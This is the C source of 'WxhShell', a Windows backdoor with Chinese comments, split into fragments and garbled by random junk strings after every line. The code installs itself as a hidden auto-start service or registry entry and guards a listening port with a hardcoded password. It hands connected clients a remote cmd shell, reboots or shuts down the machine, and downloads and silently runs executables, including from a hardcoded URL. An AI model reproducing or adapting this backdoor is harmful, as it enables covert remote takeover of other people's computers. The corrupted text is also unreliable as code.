    if(Boot(SHUTDOWN)) lw+Y_;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5&A{IN  
    else { K/WnK:LU  
    closesocket(wsh); vge4&H3a&  
    ExitThread(0); ^4MRG6G  
    } QFekj@  
    break; /B"FGa04p(  
    } ,~8&0p  
  // 获取shell B|9[DNd  
  case 's': { mnzB90<  
    CmdShell(wsh); )M3} 6^s]  
    closesocket(wsh); @M( hyS&on  
    ExitThread(0); 7x> \/l(  
    break; )<ig6b%  
  } .X1xpi%  
  // 退出 VT ikLuH  
  case 'x': { C2e.RTxc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z`]sWi F0  
    CloseIt(wsh); T-MC|>pv  
    break; Z$*m=]2  
    } >wSrllmj@  
  // 离开 (JMk0H3u  
  case 'q': { MS5X#B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,I|3.4z  
    closesocket(wsh); N[=c|frho  
    WSACleanup(); ~K$dQb])  
    exit(1); 1&Z#$iD  
    break; mETGYkPUa  
        }  " fXs!  
  } E;1QD/E$  
  } P>U7RX e  
\wR;N/tg  
  // 提示信息 _a]0<Vm C0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3g79/ w  
} P>}OwW  
  } R6cd;| fan  
`8 Ann~Z|k  
  return; ee2k..Tq#  
} Cl>|*h+m  
QZwZ4$jkiO  
// shell模块句柄 fphi['X   
int CmdShell(SOCKET sock) d DrzO*a\  
{ 2#81oz&K  
STARTUPINFO si; Au10]b  
ZeroMemory(&si,sizeof(si)); H|%'$oWp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OC6v%@xa  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'w"hG$".  
PROCESS_INFORMATION ProcessInfo; 2rGg  
char cmdline[]="cmd"; %n{ue9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P=<>H9p:o  
  return 0; a7U`/*  
} 'z9}I #  
230ijq3Y G  
// 自身启动模式 "}Oj N\  
int StartFromService(void) U[O7}Nsb"  
{ T9NTL\;  
typedef struct Uz_OUTFM  
{ "'3QKeM1  
  DWORD ExitStatus; jPIOBEIG  
  DWORD PebBaseAddress; 5~FXy{ZIH  
  DWORD AffinityMask; <4:%M  
  DWORD BasePriority; (`"87Xomnn  
  ULONG UniqueProcessId; z1m-t# v:  
  ULONG InheritedFromUniqueProcessId; E#n=aY~u-  
}   PROCESS_BASIC_INFORMATION; SG@E*yT1  
TcpaZ 'x  
PROCNTQSIP NtQueryInformationProcess; w 6  
!NO)|N>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /0YO`])"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~.$ca.Gf  
2-dEie/{'  
  HANDLE             hProcess; W`F?j-4  
  PROCESS_BASIC_INFORMATION pbi; c[+uwO~  
a}g <<{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :Aa5,{v _  
  if(NULL == hInst ) return 0; AOM@~qyc   
3of0f{ZTj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m\f}?t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PUEEfq!%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .#{m1mr  
b *Ca*!  
  if (!NtQueryInformationProcess) return 0; y_M,p?]^,  
n{"e8vQx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (mgv:<c;BA  
  if(!hProcess) return 0; +[":W?j  
a 9!.e rM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2CRgOFR  
5}4>vEn  
  CloseHandle(hProcess); WesEZ\V  
6& KcO:}-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *6wt+twH  
if(hProcess==NULL) return 0; ,.i)(Or  
lZJbQ=K{  
HMODULE hMod; E`#/m@:|-  
char procName[255]; \t ^9UN  
unsigned long cbNeeded; )sLXtV)nm6  
;3&HZq6Z (  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |3C5"R3ZGO  
ZjveXrx  
  CloseHandle(hProcess); $H"(]>~  
<_#a%+5d  
if(strstr(procName,"services")) return 1; // 以服务启动 Su]p6B  
SquuK1P=  
  return 0; // 注册表启动 j[|mC;y.  
} HFW8x9Cc  
)#v0.pE  
// 主模块  h@+(VQ  
int StartWxhshell(LPSTR lpCmdLine) _)MbvF  
{ tr<0NV62>  
  SOCKET wsl; S?u@3PyJm  
BOOL val=TRUE; p9gX$-!pbG  
  int port=0; B qcFbY  
  struct sockaddr_in door; z K6'wL!!I  
"f4atuuXa  
  if(wscfg.ws_autoins) Install(); |g!3f  
~#|Pe1Y  
port=atoi(lpCmdLine); Pk^W+M_)~  
`J-&Y2_/k  
if(port<=0) port=wscfg.ws_port; fcisDu8n  
1Wb_>`;  
  WSADATA data; 94xWMX2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^gY3))2_  
5^Ps(8VbS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Pvz\zRq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,XYtoZa  
  door.sin_family = AF_INET; cc:,,T /i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KVp3 pUO  
  door.sin_port = htons(port); '<Jqp7$dL  
HBcL1wfS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { AZfW  
closesocket(wsl); ?K= X[  
return 1; aS&,$sR  
} ,7ZV;f 81  
jn+BH3e  
  if(listen(wsl,2) == INVALID_SOCKET) { Y(6p&I  
closesocket(wsl); b>f{o_  
return 1; b9TsuY  
} Y *n[*N  
  Wxhshell(wsl); q1,jDJglZ  
  WSACleanup(); dr]Pns9  
|yVveJ  
return 0; ev9ltl{  
R 3@luT]  
} y\zRv(T=  
x#}{z1op9  
// 以NT服务方式启动 -p[!C I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v-!^a_3Ui  
{ Rv)>x w  
DWORD   status = 0; KLCd`vr.xf  
  DWORD   specificError = 0xfffffff; nP#|JRn=  
agj_l}=gO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Wph@LRB]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rVv4R/3+   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'yNS(Bg=  
  serviceStatus.dwWin32ExitCode     = 0; lC'U3Q&  
  serviceStatus.dwServiceSpecificExitCode = 0; _7b' i6-  
  serviceStatus.dwCheckPoint       = 0; U$7]*#@&  
  serviceStatus.dwWaitHint       = 0; cA{7*=G?  
l9#@4Os  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T[ltOQw?Y  
  if (hServiceStatusHandle==0) return; =_Ip0FfK!  
5LzP0F U  
status = GetLastError(); oyq9XW~ D  
  if (status!=NO_ERROR) l#fwNM/F  
{ JXq l=/%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GEtzLaq<  
    serviceStatus.dwCheckPoint       = 0; m#`1.5%  
    serviceStatus.dwWaitHint       = 0; Ft 6{g JBG  
    serviceStatus.dwWin32ExitCode     = status; ^!rAT1(/_  
    serviceStatus.dwServiceSpecificExitCode = specificError; >o )v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XU|>SOR@z  
    return; L&hv:+3N  
  } ].HHTCD`c  
4KB>O)YNg'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b E6bx6=u  
  serviceStatus.dwCheckPoint       = 0; l$ufW|  
  serviceStatus.dwWaitHint       = 0; !![HR6"Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "wnN 0 p  
} OQiyAyX  
;S+]Z!5LT  
// 处理NT服务事件,比如:启动、停止 J=6( 4>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qyL!>kZr@  
{ W]I+Rlv)U  
switch(fdwControl) ^T*'B-`C7X  
{ x Tf|u  
case SERVICE_CONTROL_STOP: (D2N_l(`<  
  serviceStatus.dwWin32ExitCode = 0; OBL2W\{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7UsU03  
  serviceStatus.dwCheckPoint   = 0; 7'.]fs:  
  serviceStatus.dwWaitHint     = 0; 7f>~P_  
  { <lTLz$QE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {<Y\flj{@m  
  } 11?d,6Jl  
  return;  }~Ir &   
case SERVICE_CONTROL_PAUSE: 65U&P5W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ogu";p(  
  break; #+L:V&QE  
case SERVICE_CONTROL_CONTINUE: YK>?;U+|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @t2S"s$m  
  break; s'/ZtH6>C  
case SERVICE_CONTROL_INTERROGATE: [oOV@GE  
  break; [Gc9 3PA7q  
}; Ou{VDE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [F+*e=wjN>  
} GDYFhH7H  
+}iuTqu5  
// 标准应用程序主函数 &]O^d4/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \.YJs"<3  
{ 1*?L>@Wdy  
q9(Z9$a(\  
// 获取操作系统版本 h-6x! 6pm  
OsIsNt=GetOsVer(); ,:8 oVq>?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B-h@\y  
MH/bJtNq  
  // 从命令行安装 (} wMU]!_  
  if(strpbrk(lpCmdLine,"iI")) Install(); -nqq;|%  
lBLL45%BIN  
  // 下载执行文件 #N'bhs  
if(wscfg.ws_downexe) { yH0vESgv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \m#{ {SGm  
  WinExec(wscfg.ws_filenam,SW_HIDE); BBa!l e9P  
} 6|QIzs<Z-X  
<=%=,Yk  
if(!OsIsNt) { $:D\yZ,  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qn}M  
HideProc(); P52qtN<  
StartWxhshell(lpCmdLine); 0~BZh%s< (  
} T@d4NF#  
else vf-8DB  
  if(StartFromService()) }(!3)k7*  
  // 以服务方式启动 H^+Znmo  
  StartServiceCtrlDispatcher(DispatchTable); iN1_ T  
else krRnE7\m  
  // 普通方式启动 7MIrrhk  
  StartWxhshell(lpCmdLine); mXI'=Vo!S  
cUTG! P\R  
return 0; dst!VO: M  
} I "HEXsSe  
zT")!Df>'  
q^6l`JJ  
=g?k`v p  
=========================================== n&8SB'-r  
M:oZk&cs  
~)*uJ wW/a  
vw :&c.zd  
w,LB  
WQsu}_g5y  
" Y?:" nhN  
V!QC.D<  
#include <stdio.h> 3-BC4y/  
#include <string.h> P?+ VR=t  
#include <windows.h> 0~e6\7={  
#include <winsock2.h> ($t;Xab  
#include <winsvc.h> p5J!j I=  
#include <urlmon.h> sLf~o" yb  
fDAT#nlyp  
#pragma comment (lib, "Ws2_32.lib") WTu!/J<\  
#pragma comment (lib, "urlmon.lib") .\8LL,zT  
5 Q,j+  
#define MAX_USER   100 // 最大客户端连接数 r ?z}TtDp  
#define BUF_SOCK   200 // sock buffer fni7HBV?  
#define KEY_BUFF   255 // 输入 buffer 'q l<R0g  
u56F;y  
#define REBOOT     0   // 重启 " Rn@yZV  
#define SHUTDOWN   1   // 关机 p ^Y2A  
<tdsUh:?&  
#define DEF_PORT   5000 // 监听端口 nI/kX^Pd  
.dj}y jd]f  
#define REG_LEN     16   // 注册表键长度 `:Zgq+j&  
#define SVC_LEN     80   // NT服务名长度 Zi<(>@z2  
?=b#H6vs  
// 从dll定义API R| XD#bG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q oEZ>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _O&P!hI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qyjVB/ko  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,_ @) IN  
yUs/lI, Q  
// wxhshell配置信息 cCcJOhk|d  
struct WSCFG { S$/SFB$)~W  
  int ws_port;         // 监听端口 dw'P =8d  
  char ws_passstr[REG_LEN]; // 口令 I(<Trn  
  int ws_autoins;       // 安装标记, 1=yes 0=no n(_wt##wE~  
  char ws_regname[REG_LEN]; // 注册表键名 rdH^"(  
  char ws_svcname[REG_LEN]; // 服务名 |}@teN^J*U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~J >Jd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HBA|NV3.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t-Ble  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AR c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -c#vWuLl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fC/P W`4Ae  
k=X)ax t1  
}; yO@@-)$[y  
/a s+ TU`A  
// default Wxhshell configuration j{@li1W@  
struct WSCFG wscfg={DEF_PORT, (]-RL A>  
    "xuhuanlingzhe", [-^xw1:  
    1, 8v6AfTo%  
    "Wxhshell", uEkGo5  
    "Wxhshell", ;8cTy8  
            "WxhShell Service", f DPLB[  
    "Wrsky Windows CmdShell Service", Th4}$)yrkN  
    "Please Input Your Password: ", gFXz:!A  
  1, @B!gxW\C  
  "http://www.wrsky.com/wxhshell.exe", IV%Rph>d  
  "Wxhshell.exe" Yw\lNhoPS  
    }; CDT;AdRw7  
)U{\c2b  
// 消息定义模块 +kq+x6&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; | NyANsI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L#fK ,r8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o'? WWJK6w  
char *msg_ws_ext="\n\rExit."; .>2]m[53  
char *msg_ws_end="\n\rQuit."; pz"}o#R"x  
char *msg_ws_boot="\n\rReboot..."; !:v7SRUXb  
char *msg_ws_poff="\n\rShutdown..."; I(b]V!mj:  
char *msg_ws_down="\n\rSave to "; O"wo&5b_  
ADA}_|O  
char *msg_ws_err="\n\rErr!"; BY@l:y4  
char *msg_ws_ok="\n\rOK!"; (/ -90u  
zX6Q7Bc  
char ExeFile[MAX_PATH]; <&tdyAT?&  
int nUser = 0; *]c~[&x5&  
HANDLE handles[MAX_USER];  p+-IvU  
int OsIsNt; aJ[|80U  
+]Ev  
SERVICE_STATUS       serviceStatus; T&j:gg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7v}(R:*  
|Z8Eu0RSb  
// 函数声明 md lMciP  
int Install(void); Ao\Im(?  
int Uninstall(void); FJB B@<>:  
int DownloadFile(char *sURL, SOCKET wsh); Q'YakEv >=  
int Boot(int flag); t >Rh  
void HideProc(void); J|([(  
int GetOsVer(void); D-e?;<  
int Wxhshell(SOCKET wsl); U#{(*)qr  
void TalkWithClient(void *cs); 0 qW"b`9R  
int CmdShell(SOCKET sock); tjQ6[`  
int StartFromService(void); ]1M Z:]k  
int StartWxhshell(LPSTR lpCmdLine); Uy@:-NC)kn  
2s}G6'xE]P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Uy?X-"UR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '=J|IN7WT  
&ViK9  
// 数据结构和表定义 FytGg[#]  
SERVICE_TABLE_ENTRY DispatchTable[] = iu2O/l# r  
{ "`h.8=-  
{wscfg.ws_svcname, NTServiceMain}, +}eK8>2  
{NULL, NULL} w*X(bua@  
}; uUe#+[bD  
^2i$AM1t  
// 自我安装 B;nIKZ  
int Install(void) g+Y &rz  
{ %g69kizoWi  
  char svExeFile[MAX_PATH]; !vuun |  
  HKEY key; X]dN1/_  
  strcpy(svExeFile,ExeFile); g"`jWSt7Q  
,l.+$G  
// 如果是win9x系统,修改注册表设为自启动 y( UWh4?t  
if(!OsIsNt) { =F_j})O5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tq?f5swsI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t0Inf [um  
  RegCloseKey(key); l9 n$cv^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ($ gmN 4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); % .8(R &  
  RegCloseKey(key); )JU`Z @?8  
  return 0; @c}Gw;e  
    } .=) *Qx+  
  } M0hR]4T  
} ,V''?@  
else { IDdu2HNu  
R<^E?FI   
// 如果是NT以上系统,安装为系统服务 fc4jbPp:M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rddn"~lm1  
if (schSCManager!=0) h7S; 4]  
{ 3wQ\L=  
  SC_HANDLE schService = CreateService /K;AbE  
  ( ^;$9>yi1  
  schSCManager, D'Uc?2X,&  
  wscfg.ws_svcname, a(uQGyr[k1  
  wscfg.ws_svcdisp, nN>Uh T  
  SERVICE_ALL_ACCESS, `W7;-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dvglh?7d  
  SERVICE_AUTO_START, BWr!K5w>i  
  SERVICE_ERROR_NORMAL, DLO#_t^v.  
  svExeFile, Ds@K%f(.?w  
  NULL, '=d y =  
  NULL, )=5*iWe  
  NULL, 7w\!3pv  
  NULL, 0|{":i_s  
  NULL S<5.}cR  
  ); ) }k"7"  
  if (schService!=0) %v^qQWy=*  
  { 6!){-IV  
  CloseServiceHandle(schService); s}DNu<"g  
  CloseServiceHandle(schSCManager); [3qJUJM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^plP1c:  
  strcat(svExeFile,wscfg.ws_svcname); !_?HSDAj"n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [Uj,, y.wB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1M[|9nWUC  
  RegCloseKey(key); #Zn+-Ih  
  return 0; K%SfTA1TCB  
    } 5yp  
  } |+=ctpx9&  
  CloseServiceHandle(schSCManager); }-&#vP~I  
} zj=F4]w  
} 4Cvo^k/I  
/ $'M  
return 1; :k~ p=ko  
} z7a @'+'  
@2\UjEo~  
// 自我卸载 UQtG<W]<  
int Uninstall(void) uW,rmd  
{ `?T8NK  
  HKEY key; |D8c=c%  
x6|QTO  
if(!OsIsNt) { +:z%#D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;=8@@9  
  RegDeleteValue(key,wscfg.ws_regname); +R31YR8C0  
  RegCloseKey(key); fJY b)sN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p+{*w7?8"[  
  RegDeleteValue(key,wscfg.ws_regname); Ki3 wqY  
  RegCloseKey(key); IZ]L.0,  
  return 0; M5S<N_+Pe  
  } &oDu$%dkT  
} 3N{ ZX{}  
} !i=k=l=  
else { o4&#,m+ :  
3<6P^p=I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @'S !G"\  
if (schSCManager!=0) yMf["AvG  
{ a#,lf9M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +@#-S  
  if (schService!=0) H, O_l%  
  { pB,@<\l %  
  if(DeleteService(schService)!=0) { ':,p6  
  CloseServiceHandle(schService); N_E :?Jo  
  CloseServiceHandle(schSCManager); }sGH}n<9*  
  return 0; 65pC#$F<x  
  } 1 BVpv7@  
  CloseServiceHandle(schService); 'gz@UE1  
  } D5 ^WiQ<  
  CloseServiceHandle(schSCManager); -Cf< #'x_  
} qd?k#Gw&  
} YCB=RT]&`  
HoKN<w  
return 1; 5,W DmhJ  
} C`C$i>X7^  
1He'\/#  
// 从指定url下载文件 3 ?DM AV  
int DownloadFile(char *sURL, SOCKET wsh) y]E ?\03"  
{ XAc#ywophi  
  HRESULT hr; 9Vv&\m!0  
char seps[]= "/"; las|ougLy  
char *token; :+|os"  
char *file; nc%ly *  
char myURL[MAX_PATH]; gj Ue{cb5  
char myFILE[MAX_PATH]; _zj}i1!E"  
X2p9KC  
strcpy(myURL,sURL); 4*9:  
  token=strtok(myURL,seps); q9c:,k  
  while(token!=NULL) fmj-&6  
  { ySwvjP7f  
    file=token; uia-w^F e  
  token=strtok(NULL,seps); "5R8Zl+  
  } ``mW\=fe  
,~- dZs  
GetCurrentDirectory(MAX_PATH,myFILE); 8z, |N#  
strcat(myFILE, "\\"); &llp*< i7  
strcat(myFILE, file); `$D2w|  
  send(wsh,myFILE,strlen(myFILE),0); hE>i~:~R  
send(wsh,"...",3,0); /xRPQ|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]`x\Oj &  
  if(hr==S_OK) Jm8#M z  
return 0; _S;L| 1>S  
else <w d+cPZQr  
return 1; YS5Pt)?  
(s`yMUC+  
} 85 tQHm6j  
dF%sD|<)  
// 系统电源模块 ~h{v^ }  
int Boot(int flag) 2*K _RMr~  
{ PuhFbgxy  
  HANDLE hToken; ',yY  
  TOKEN_PRIVILEGES tkp; ?qt>;o|Ue  
@^$Xy<x  
  if(OsIsNt) { K?q1I<94  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u;Q'xuo3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AtN=G"c>_  
    tkp.PrivilegeCount = 1; \P_1@sH=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <Vk^fV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S&@uY#_(*T  
if(flag==REBOOT) { %K_[Bx{B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PXk+Vi,%k  
  return 0; ~E=.*: 5(  
} u"\HBbBx  
else { b"y][5VE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3cNF^?\=  
  return 0; 4#Fz!Km  
} gNO<`9q  
  } c"3 a,&  
  else { Z4/rqU  
if(flag==REBOOT) { 4w:_4qyb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H1'`* }V  
  return 0; /u }AgIb  
} j1)HIQE|5f  
else { z&o"K\y\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J}qk:xGL  
  return 0; H/p<lp  
} \5$N> 2kO  
} [g_Cg=J  
->x+ p"  
return 1; h*f=  
} ~\c]!%)o  
ee]PFW28  
// win9x进程隐藏模块 %Lexu)odW  
void HideProc(void) h5G>FPM-=  
{ ;SF0}51  
9KVeFl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cy)gN g  
  if ( hKernel != NULL ) SnRTC<DDh  
  { UB]} j^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b<qv /t)$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2+Z2`k]AC  
    FreeLibrary(hKernel); 1%|+yu1  
  } AA9OElCa  
.9WJ/RKZ\D  
return; >A|6 kzC  
} pO$`(+q[  
qx<`Kc4  
// 获取操作系统版本 W$@q ~/E  
int GetOsVer(void) @6>R/]  
{ Zr_{Z@IpU  
  OSVERSIONINFO winfo; F8?&Ql/hdz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,b=&iDc  
  GetVersionEx(&winfo); $!Z6?+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =*qu:f\y  
  return 1; zr?%k]A%UO  
  else 9 kzytx  
  return 0; M ]W'>g)G  
} oYnA 3  
GwV2`2  
// 客户端句柄模块 ^q@.yL  
int Wxhshell(SOCKET wsl) A0yRA+  
{ LpJ\OI*v  
  SOCKET wsh; B=#rp*vwL  
  struct sockaddr_in client; Y:]~~-f\~  
  DWORD myID; [a\:K2*'  
<DiD8")4  
  while(nUser<MAX_USER) [[QrGJr  
{ H=z@!rJc.  
  int nSize=sizeof(client); @"-<m|lM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9]BpP0f\  
  if(wsh==INVALID_SOCKET) return 1; QP)-O*+AA  
D,dmlv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w"bQxS~$y  
if(handles[nUser]==0) 5[esW  
  closesocket(wsh); 3k5OYUk  
else  |X`xJL  
  nUser++; LC K   
  } zF.rsNY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V#^~JJW^  
mKtZ@r)u  
  return 0; \i}n1Qd  
} P*T 'R  
BQmg$N,F  
// 关闭 socket tX cc#!'4C  
void CloseIt(SOCKET wsh) (ta!4h,  
{ ]nhLv!Co  
closesocket(wsh); 3 zp)!QJi  
nUser--; AQU4~g mI  
ExitThread(0); 9`i=kp  
} %+i g7a:  
'N)&;ADx-G  
// 客户端请求句柄 Il%LI   
void TalkWithClient(void *cs) uz".!K[,wE  
{ ;#I(ucB<  
SJ^.#^)  
  SOCKET wsh=(SOCKET)cs; 6 9ia #  
  char pwd[SVC_LEN]; v2G_p |+O  
  char cmd[KEY_BUFF]; ^q_0(Vf  
char chr[1]; N?U;G*G  
int i,j; cBBc^SR  
.%<oy"_  
  while (nUser < MAX_USER) { E< "aUnI  
,h5\vWZ  
if(wscfg.ws_passstr) { JGX E{FT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YvHP]N{SA'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HvN!_}[  
  //ZeroMemory(pwd,KEY_BUFF); vXLiYWo  
      i=0; ?P ,z^  
  while(i<SVC_LEN) { f%` =>l  
D3$PvX[f  
  // 设置超时 s[NkPh9&  
  fd_set FdRead; /+.Bc(`  
  struct timeval TimeOut; q|b#=Af]g  
  FD_ZERO(&FdRead); IkFrzw p  
  FD_SET(wsh,&FdRead); fQ=Yf?b  
  TimeOut.tv_sec=8; =LDzZ:' X  
  TimeOut.tv_usec=0; Zk__CgS#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Dz:A.x@$*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;"-(QE?Mv  
B^P)(Nu+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  msM  
  pwd=chr[0]; rE;*MqYt&  
  if(chr[0]==0xd || chr[0]==0xa) { >A|(mc  
  pwd=0; %/"I.\%d  
  break; )o;/*h%@  
  } f <fa +fB  
  i++; ('xIFi  
    } Fm_^7|  
^=.R#zrc  
  // 如果是非法用户,关闭 socket R2vT\ 6xv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m~'!  
} LQ`s>q  
JS <S?j?*/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _VGAh:v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nICc}U?k  
Ck d@|  
while(1) { #<s6L"Z-  
O;z:?  
  ZeroMemory(cmd,KEY_BUFF); y$|%K3  
px8988X  
      // 自动支持客户端 telnet标准   jj_z#6{  
  j=0; 0^$L{V  
  while(j<KEY_BUFF) { ^ gMoW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yz]c'M@  
  cmd[j]=chr[0]; v_mk{  
  if(chr[0]==0xa || chr[0]==0xd) { `)%zk W  
  cmd[j]=0; _QBN/KE9  
  break; -} Zck1  
  } )UbPG`x8  
  j++; CX?q%o2b  
    } JJ_b{ao<  
w^z5O6   
  // 下载文件 J{;XNf =  
  if(strstr(cmd,"http://")) { 86Hg?!<i.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Wip@MGtJ  
  if(DownloadFile(cmd,wsh)) mSLA4[4{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gu+9R>  
  else EQI9 J#;+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pHQrjEF*  
  } ]QKo>7%[  
  else { ypU-/}Cf,  
-yOwX2Wv5;  
